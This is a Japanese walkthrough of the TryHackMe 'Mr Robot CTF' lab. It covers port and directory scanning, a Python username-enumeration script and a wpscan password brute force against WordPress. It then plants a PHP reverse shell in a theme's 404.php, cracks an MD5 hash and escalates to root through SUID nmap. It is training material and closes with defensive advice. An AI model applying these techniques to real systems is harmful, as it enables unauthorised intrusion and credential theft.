【TryHackMe】Mr Robot CTF - Writeup

# はじめに

TryHackMeの **"Mr Robot CTF"** というルームのWriteupです。
映画ドラマ "Mr.Robot" の世界観あふれるWebサイトを攻略していきましょう！
- 難易度 : Medium

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/4787468e-d323-13ee-357a-f1e973d8306e.png)

https://tryhackme.com/room/mrrobot#

### 目標

**Recon** (偵察) → **Enumeration** (列挙) → **GainingAccess** (侵入) → **PrivEsc** (権限昇格)
という流れで進めていきます。
3つのキーを取得するのが目標です。

# Recon

### オープンポート調査

いつも通りnmapでポートスキャンをしていく。


```
└─$ nmap -Pn -A -T4 10.10.85.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-10 05:49 EST
Nmap scan report for 10.10.85.110
Host is up (0.30s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.31 seconds
```

80(http), 443(ssl/http) が空いている
珍しくssh(22)は閉じているようだ。

### Webサイトの偵察

ひとまずブラウザから確認していきましょう。

かなり作りこまれたページでとても良いです。
BIOSからOSを起動したような画面がブラウザに表示されました（ワクワク）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/1ad82eaf-db99-9b1f-a8a0-5addea632b4e.png)

OSコマンドが打ちたくなる画面なのでとりあえず `ls` を打ってみる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/78fe68bc-9bfb-612c-1482-814a4b8ee833.png)

コマンドが制限されているようで怒られる。
`help` で使えるコマンドを確認してみたら、いくつかのコマンドが表示された。

１つずつコマンドを打ってみましょう。

**fsociery**

> "Are you ready to join fsociety?"

という動画メッセージが流れます。
すごい世界観が作りこまれててドキドキしますね。

**inform** 

4枚の興味深い写真とメッセージが出てきた（→問題にはあまり関係なかった）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/9c5deb92-8625-09b1-7e90-ff6d94669941.png)

すべてのコマンドを打ってみた結果、コマンド名と同じページに遷移することがわかったので、ほかのページがないか調査していきましょう。

# Enumeration

### 隠しディレクトリ調査

gobusterで隠しディレクトリがないか調査していきます。

```
┌──(kali㉿kali)-[~]
└─$ cat gobuster.log 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.252.197
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 218]
/.hta                 (Status: 403) [Size: 213]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.252.197/0/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/atom/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.252.197/audio/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.252.197/blog/]
/css                  (Status: 301) [Size: 233] [--> http://10.10.252.197/css/]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-admin/]
/favicon.ico          (Status: 200) [Size: 0]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/image                (Status: 301) [Size: 0] [--> http://10.10.252.197/image/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.252.197/Image/]
/images               (Status: 301) [Size: 236] [--> http://10.10.252.197/images/]
/index.html           (Status: 200) [Size: 1188]
/index.php            (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/js                   (Status: 301) [Size: 232] [--> http://10.10.252.197/js/]
/intro                (Status: 200) [Size: 516314]
/license              (Status: 200) [Size: 309]
/login                (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/phpmyadmin           (Status: 403) [Size: 94]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/rdf/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/sitemap              (Status: 200) [Size: 0]
/sitemap.xml          (Status: 200) [Size: 0]
/video                (Status: 301) [Size: 235] [--> http://10.10.252.197/video/]
/wp-admin             (Status: 301) [Size: 238] [--> http://10.10.252.197/wp-admin/]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.252.197/wp-content/]
/wp-config            (Status: 200) [Size: 0]
/wp-cron              (Status: 200) [Size: 0]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.252.197/wp-includes/]
/wp-load              (Status: 200) [Size: 0]
/wp-links-opml        (Status: 200) [Size: 227]
/wp-login             (Status: 200) [Size: 2671]
/wp-mail              (Status: 500) [Size: 3064]
/wp-signup            (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php?action=register]
/wp-settings          (Status: 500) [Size: 0]
/xmlrpc               (Status: 405) [Size: 42]
/xmlrpc.php           (Status: 405) [Size: 42]

===============================================================
Finished
===============================================================
```

かなりたくさんのディレクトリが見えちゃってますね。
いろいろ見た中で気になったページを紹介します。

**/admin**

一番気になったこのページは要注意。永遠にリダイレクトされる、、、

```
/admin         (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]
```


**/readme**
どういう意味だろう？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/6864eb94-9c66-07f5-26aa-36126365ce07.png)


**/image**

掲示板のような感じになっていて、何か投稿することができそうです。
何個か送信してみたけどすぐ反映されるわけではなさそうでした。
→　後ほどわかるが、ユーザからのコメントを投稿するかどうかは承認制

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/9531b95e-3cc9-f2a6-16ab-0e932e65999f.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/898e6f39-24ca-7b9f-4cb3-c5c93b7d3513.png)



**/wp-login.php**

なんとwordpressが使われているようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/a520f739-d195-3e8a-fc31-ca22fa08c7f2.png)

**/robots.txt**

フラグの名前のヒントと辞書みたいなものがありますね
 `fsocity.dic , key-1-of-3.txt`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/6f65aedc-32e9-119a-77b3-9c24adca4ddc.png)

:::note
**robots.txtとは？**
robots.txtに記載されているファイルは、クローラの検索から除外される。
通常隠したいファイル名を記載する。
:::

さっきのgobusterでのディレクトリスキャンには引っかからなかったのですが、隠したいファイル名が記載されているということで、要確認です。

:::note warn
ルーム名がヒントなので、**robots.txt** を最初に確認するべきだった（反省）
:::

 `fsocity.dic , key-1-of-3.txt`というファイルがありそうなのでurlに入れてみると、２つともファイルが見れました。

 - key-1-of-3.txt

1つ目のフラグゲット！！！！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/c1d9a54c-373c-8700-6b9f-b83747e92e35.png)


- fsocity.dic

何か辞書のようなものがダウンロードできました。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/d926412d-5845-fce7-8730-88093c7b9c7e.png)


中身はよくわからない用語の羅列になっている。このファイル、かなり重複が多いです。おそらくあとでブルートフォースに使う辞書なのでしょう。

```shell
┌──(kali㉿kali)-[~]
└─$ wc -l fsocity.dic
858160 fsocity.dic  <--------------- 行数

┌──(kali㉿kali)-[~]
└─$ cat fsocity.dic | grep username | wc -l
150　　<---------------------------- usernameの超複数
```

ソートして重複を除くと、85万行が1万行に減らせた。
あとでブルートフォースに使うと思うのでこのほうが早く探せる。

```shell
┌──(kali㉿kali)-[~]
└─$ sort fsocity.dic | uniq > unique.dic 
                                                                    
┌──(kali㉿kali)-[~]
└─$ wc -l unique.dic 
11451 unique.dic
```

**/wp-signup**

期待して確認したのですが、今は登録できないよと言われてしまいました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/153368a7-070d-0c00-1a2b-e64e7ec71b50.png)


**/wp-links-opml**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/ad7a6395-91de-3faa-8b63-a36084f6d551.png)

> This XML file does not appear to have any style information associated with it. The document tree is shown below.
このXMLファイルには、スタイル情報が関連付けられていないようです。ドキュメントツリーを以下に示す。

ブログにも何も書かれてなかったのでドキュメントツリーも何もない。
`Wordpress 4.3.1`　という情報を得た。
→　CVEやexploit codeを探したが見つからず・・・

**/license**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/86038ba3-aeb7-448c-02da-c28cad3a9ad1.png)

> what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
Rapid9とかからコードを引っ張ってきて、いつからスクリプトキティになったんだ？

Rapid9について調べたけど見つからず、どうやら名前が変わったようでこれのことみたい。Metasploitを作っている会社だった。

https://www.rapid7.com/ja/products/metasploit/

# Gaining Access

それではログインしていきましょう。

### 存在するユーザ名を調べる

wordpressのログインページにさきほどの辞書を使ってブルートフォースを仕掛けていきます。

#### HTTPリクエストから変数を確認

試しにuser=name, passwd=passでログインしてみて開発者ツールでリクエストを見てみたら変数が分かりました。変数を指定してブルートフォースすることが出来ます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/40671646-76f7-fc96-d7a5-ba200bd02746.png)

#### pythonで大量にログインリクエストを送信する

下記のようなペイロードを作成する。

```python
import requests

host = '10.10.xxx.xxx'
url = 'http://' + host + '/wp-login.php'

def attack(s, url, user):
    payload = {'log': user, 'pwd': 'a', 'wp-submit': 'Log In'}
    res = s.post(url, data=payload)
    if 'Invalid username.' in res.text:
        return False
    return True
    
with open('unique.dic', 'r') as f:
    wordlist = f.readlines()

s = requests.Session()
s.get(url)

for w in wordlist:
    w = w.strip()
    if attack(s, url, w):
        print(w)
        break
    else:
        continue
```

ワードリストのすべてをusernameとするリクエストを送信して、レスポンスに`'Invalid username.'`という文字列がなければTrueを返し、そのときのワードを表示して終了するというスクリプト。

:::note warn
ユーザ名が無い場合に `'Invalid username.'` というエラーメッセージを出してしまうと、今回のように攻撃者にとってヒントになってしまうので気を付けましょう。
:::

実行します。

```
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
Elliot
```

ユーザ名がわかりましたね。Elliotでログインしたいと思います。


### Elliotのログインパスワードは何か？

同様にブルートフォースするペイロードを書いて実行してみるが、１万行あるからかなかなか終わらず、方針を変えてwpscanでブルートフォースすることにした。

```
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://10.10.252.197 -U Elliot -P unique.dic -t 64                                       
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://10.10.252.197/ [10.10.252.197]
[+] Started: Sat Feb 10 10:59:57 2024

(中略)

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / ER28-0652                                                                                             
All Found                                                                                                                  
Progress Time: 00:00:39 <===================================                              > (12 / 22) 54.54%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652
```

パスワードゲット！

:::note warn
会社の先輩がhydraで解いていて、以下の解き方の方がスマートだなと思ったのでメモ
:::

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/dbdbce48-3524-1ad1-5130-06ac7b3c777f.png)



### ブログにリバースシェルを仕込む

ログインして中身を見ていくと、ブログが投稿できるようになっている。
しかも、htmlとphpのコードが書けるようだ。kaliにデフォルトで入っているPHPのリバースシェルを仕込む。

kaliの場合、ここにリバースシェルがあります。

```
cat /usr/share/webshells/php/php-reverse-shell.php 
```

これをブログの "404.php" にコピペ。コピペしたらIPアドレスとポートは書き換えておきましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/73b6d8aa-845b-584e-397a-c937e378e0d1.png)

ローカルでリスナーを起動しておき、404.phpにアクセスするとリバースシェルが実行され、シェルが立ち上がる！！！

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.252.197] 37197
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 17:04:46 up  3:43,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ 
```

無事、deamonユーザでログインできました。

### robotへのログイン

ユーザを見るとrobotというのがいる。怪しいですね。

```
$ cat /etc/passwd | cut -d ":" -f 1
root
daemon
(中略)
robot
```

ひとまず2つ目のキーを探していく。

```
$ cd home
$ ls
robot
$ cd robot
$ ls
key-2-of-3.txt
password.raw-md5
$ ls -l
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5
```

2つ目のキーの場所が分かったが、閲覧権限はrobotしかない。やはり、robotにログインしないといけないようですね。
また、 `password.raw-md5` という気になるファイルを発見。中身を見てみましょう。

```
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

md5で暗号化されているパスワードのようなので、JohnTheRipperで解読します。

```diff
┌──(kali㉿kali)-[~]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
+ abcdefghijklmnopqrstuvwxyz (?)  
1g 0:00:00:00 DONE (2024-02-10 12:41) 25.00g/s 1012Kp/s 1012Kc/s 1012KC/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 
```

パスワードが解読できたので、このパスワードでrobotにログインする。

```
$ su robot
su: must be run from a terminal
```

`su robot` でログインしようとすると、terminalから実行しろと怒られるので、pythonでシェルをアップデートしておく。

```
$ python -c 'import pty; pty.spawn("/bin/sh")'
```

```
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ whoami
whoami
robot
robot@linux:~$ 
```

無事、robotにログイン出来、先ほど見れなかった2つ目のフラグも取得できました。

# PrivEsc

それでは３つ目のフラグを取得するために、rootに権限昇格していきましょう。
権限昇格の方法については以下にまとめています。

https://qiita.com/H4ppyR41nyD4y/items/547aeeb6a67062b15900

基本的なSUDOやSUIDの脆弱性がないか調査していきましょう。

### SUDOの脆弱性がないか

```
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

Sorry, user robot may not run sudo on linux.
robot@linux:~$ 
```

robotにsudoで実行できるコマンドはないようです。残念。

### SUIDの脆弱性がないか

robotがroot権限で実行できるコマンドがないか見ていきます。

```
robot@linux:/$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}'
ping
umount
mount
ping6
su
passwd
newgrp
chsh
chfn
gpasswd
sudo
nmap
ssh-keysign
dmcrypt-get-device
vmware-user-suid-wrapper
vmware-user-suid-wrapper
pt_chown
```

GTGObinsと照らし合わせてみると、nmapが怪しい。

**参考：nmap**

https://www.adamcouch.co.uk/linux-privilege-escalation-setuid-nmap/

`nmap --interactive` で、シェルにアクセスできるのですが、それがroot権限で実行できてしまうようです。

```
robot@linux:/$ nmap --interactive
                                                                                                                         
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )                                                                  
Welcome to Interactive Mode -- press h <enter> for help                                                                  
nmap> whoami                                                                                                             
Unknown command (whoami) -- press h <enter> for help
nmap> !whoami
root
waiting to reap child : No child processes
nmap> 
```

rootでログイン出来ているようですね。`!` を毎回先頭につけるのが大変なのでここでシェルを立ち上げておきましょう。

```
nmap> !sh
# ls
bin   etc         lib         media  passwd.txt  run         srv  usr
boot  home        lib64       mnt    proc        sbin        sys  var
dev   initrd.img  lost+found  opt    root        shadow.txt  tmp  vmlinuz
# whoami
root
# 
```

rootでシェルが立ち上がりました。
rootのパスワードがわかったわけではないですが、無事権限昇格成功！

```
# whoami
root
# find / -name key-3-of-3.txt 2>/dev/null
/root/key-3-of-3.txt
# cat /root/key-3-of-3.txt
****flag**********************
```

３つ目のフラグが見つかりました。お疲れ様でした！！！


# あとがき

かなりボリュームがあって達成感のあるルームでした。
途中でMetasploitのヒントがあったのですが使わずに解いてしまったので、使う解き方もしてみたいなと思います。

今回のポイントとしては以下の通りです。

:::note info
- Webサイトの偵察に時間を使いすぎない
- ルーム名から想像してrobots.txtを見に行く
- Wordpressのエラーメッセージを元にブルートフォース
- sshが閉じている→リバースシェルを考える
:::

開発する側としては。以下に注意しましょう。

:::note warn
- ログインページ
    - ログインページを公開しない
    - 数回失敗したらアカウントロックする
    - ログイン失敗メッセージを表示しない(`Invalid username, Invalid password`などのヒントを与えない)
    - ２段階認証を取り入れる
- robots.txtを公開しない
- 不用意にSUIDを付与しない
:::